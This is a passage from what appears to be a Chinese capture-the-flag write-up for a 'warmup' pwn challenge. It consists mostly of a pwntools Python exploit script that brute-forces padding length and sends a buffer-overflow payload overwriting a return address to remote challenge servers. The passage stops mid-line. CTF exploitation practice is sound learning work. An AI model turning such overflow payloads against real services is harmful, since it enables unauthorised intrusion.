If you don’t go into the water, you can’t swim in your life
文中所用到的程序文件:bin file
warmup
# -*- coding: cp936 -*-
from pwn import *
# def get_length():
# i = 0
# while True:
# try:
# p = remote('101.200.240.241',7000)
# p.recvuntil('biu:')
# func = int(p.recv(8),16)
# log.success("func=%#x",func)
# payload = 'A'*64 + '\x00' + 'B'*i + p64(func)
# p.sendline(payload)
# p.recv()
# try:
# output = p.recv()
# return i
# except EOFError:
# i += 1
# except:
# i += 1
# p.close()
# length = get_length()
length = 7
p = remote('124.126.19.106',39729)
print p.recv()
print p.recv()
payload = 'A'*